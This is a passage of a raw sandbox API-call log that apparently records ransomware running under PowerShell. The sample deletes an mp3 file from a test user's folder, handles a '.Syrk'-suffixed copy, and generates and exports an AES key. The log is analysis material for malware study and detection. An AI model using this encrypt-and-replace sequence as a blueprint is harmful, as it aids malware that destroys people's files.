lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", lpFilePart=0x0) returned 0x59 [0235.601] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.601] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0235.601] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0235.601] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0235.601] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.602] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0235.602] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0235.602] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0235.602] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.602] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0235.602] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0235.602] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0235.602] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.602] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0235.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0235.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0235.603] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.603] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0235.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0235.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0235.603] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.603] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0235.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0235.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0235.603] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.604] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0235.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0235.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", lpFilePart=0x0) returned 0x3b [0235.604] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh")) returned 0x10 [0235.604] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh")) returned 0x10 [0235.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0235.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh", lpFilePart=0x0) returned 0x4b [0235.604] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3")) returned 0x20 [0235.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0235.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", lpFilePart=0x0) returned 0x59 [0235.610] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0235.610] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", lpFilePart=0x0) returned 0x59 [0235.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0235.610] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0235.611] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", lpFilePart=0x0) returned 0x59 [0235.611] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0235.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0235.611] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0235.611] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0235.611] CoTaskMemFree (pv=0x5c9b950) [0235.613] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3")) returned 0x20 [0235.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0235.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3", lpFilePart=0x0) returned 0x59 [0235.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0235.613] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3"), fInfoLevelId=0x0, lpFileInformation=0x252bd00 | out: lpFileInformation=0x252bd00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e79930, ftCreationTime.dwHighDateTime=0x1d99cbd, ftLastAccessTime.dwLowDateTime=0x8cde2be0, ftLastAccessTime.dwHighDateTime=0x1d99ce3, ftLastWriteTime.dwLowDateTime=0x8cde2be0, ftLastWriteTime.dwHighDateTime=0x1d99ce3, nFileSizeHigh=0x0, nFileSizeLow=0x2798)) returned 1 [0235.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0235.613] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3")) returned 1 [0235.615] EtwEventActivityIdControl () returned 0x0 [0235.615] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.615] EtwEventActivityIdControl () returned 0x0 [0235.615] EtwEventActivityIdControl () returned 0x0 [0235.615] EtwEventActivityIdControl () returned 0x0 [0235.623] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3.syrk")) returned 0x20 [0235.624] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3.syrk")) returned 0x20 [0235.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0235.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk", nBufferLength=0x5f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk", lpFilePart=0x0) returned 0x5e [0235.624] EtwEventActivityIdControl () returned 0x0 [0235.624] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.625] EtwEventActivityIdControl () returned 0x0 [0235.625] EtwEventActivityIdControl () returned 0x0 [0235.625] EtwEventActivityIdControl () returned 0x0 [0235.628] EtwEventActivityIdControl () returned 0x0 [0235.628] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.629] EtwEventActivityIdControl () returned 0x0 [0235.629] EtwEventActivityIdControl () returned 0x0 [0235.629] EtwEventActivityIdControl () returned 0x0 [0235.632] EtwEventActivityIdControl () returned 0x0 [0235.632] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.632] EtwEventActivityIdControl () returned 0x0 [0235.632] EtwEventActivityIdControl () returned 0x0 [0235.632] EtwEventActivityIdControl () returned 0x0 [0235.635] EtwEventActivityIdControl () returned 0x0 [0235.635] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.635] EtwEventActivityIdControl () returned 0x0 [0235.635] EtwEventActivityIdControl () returned 0x0 [0235.635] EtwEventActivityIdControl () returned 0x0 [0235.638] EtwEventActivityIdControl () returned 0x0 [0235.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.639] EtwEventActivityIdControl () returned 0x0 [0235.639] EtwEventActivityIdControl () returned 0x0 [0235.639] EtwEventActivityIdControl () returned 0x0 [0235.642] EtwEventActivityIdControl () returned 0x0 [0235.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0235.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\xU9kprwq9.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\xu9kprwq9.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x253cbf4 | out: lpFileInformation=0x253cbf4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84822a0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x84822a0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x84a8400, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x27b4)) returned 1 [0235.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0235.646] GetConsoleOutputCP () returned 0x1b5 [0235.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.646] GetConsoleOutputCP () returned 0x1b5 [0235.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.646] GetConsoleOutputCP () returned 0x1b5 [0235.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.647] GetConsoleOutputCP () returned 0x1b5 [0235.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.647] GetConsoleOutputCP () returned 0x1b5 [0235.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.647] GetConsoleOutputCP () returned 0x1b5 [0235.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.647] GetConsoleOutputCP () returned 0x1b5 [0235.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.647] GetConsoleOutputCP () returned 0x1b5 [0235.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.648] GetConsoleOutputCP () returned 0x1b5 [0235.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.648] GetConsoleOutputCP () returned 0x1b5 [0235.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.648] GetConsoleOutputCP () returned 0x1b5 [0235.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.648] GetConsoleOutputCP () returned 0x1b5 [0235.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.648] GetConsoleOutputCP () returned 0x1b5 [0235.649] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.649] GetConsoleOutputCP () returned 0x1b5 [0235.649] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.649] GetConsoleOutputCP () returned 0x1b5 [0235.649] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.649] GetConsoleOutputCP () returned 0x1b5 [0235.649] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.649] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0235.650] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.650] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2556948*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2556948*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0235.650] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.650] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0235.651] EtwEventActivityIdControl () returned 0x0 [0235.651] EtwEventActivityIdControl () returned 0x0 [0235.652] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.652] EtwEventActivityIdControl () returned 0x0 [0235.652] EtwEventActivityIdControl () returned 0x0 [0235.652] EtwEventActivityIdControl () returned 0x0 [0235.661] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.681] EtwEventActivityIdControl () returned 0x0 [0235.681] EtwEventActivityIdControl () returned 0x0 [0235.694] EtwEventActivityIdControl () returned 0x0 [0235.697] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cff0) returned 1 [0235.698] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68d40) returned 1 [0235.699] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.699] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.699] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x235f944, pdwDataLen=0x5a2e8c4 | out: pbData=0x235f944*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.700] EtwEventActivityIdControl () returned 0x0 [0235.700] EtwEventActivityIdControl () returned 0x0 [0235.700] EtwEventActivityIdControl () returned 0x0 [0235.701] SysStringLen (param_1="") returned 0x8 [0235.701] SysStringLen (param_1="b") returned 0x8 [0235.701] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.702] SysStringLen (param_1="㼁廳⦹㛵냅媩\⋚) returned 0x8 [0235.702] SysStringLen (param_1="㼁廳⦹㛵냅媩\⋚) returned 0x8 [0235.702] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.702] SysStringLen (param_1="bS") returned 0x8 [0235.702] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.702] SysStringLen (param_1="鐦괙\Ῐၻ㠫嶉⋞) returned 0x8 [0235.702] SysStringLen (param_1="鐦괙\Ῐၻ㠫嶉⋞) returned 0x8 [0235.702] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.702] SysStringLen (param_1="bS5") returned 0x8 [0235.702] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.703] SysStringLen (param_1="勿Ꚅ絾᮰ꗋ쏯몎ﶌ") returned 0x8 [0235.703] SysStringLen (param_1="勿Ꚅ絾᮰ꗋ쏯몎ﶌ") returned 0x8 [0235.703] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.703] SysStringLen (param_1="bS5k") returned 0x8 [0235.703] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.703] SysStringLen (param_1="᎟퐝Ɓﱙ촩꜁儜둼") returned 0x8 [0235.703] SysStringLen (param_1="᎟퐝Ɓﱙ촩꜁儜둼") returned 0x8 [0235.703] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.703] SysStringLen (param_1="bS5kr") returned 0x8 [0235.703] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.703] SysStringLen (param_1="﬌镕╠ᕢ掵힎嶖") returned 0x8 [0235.704] SysStringLen 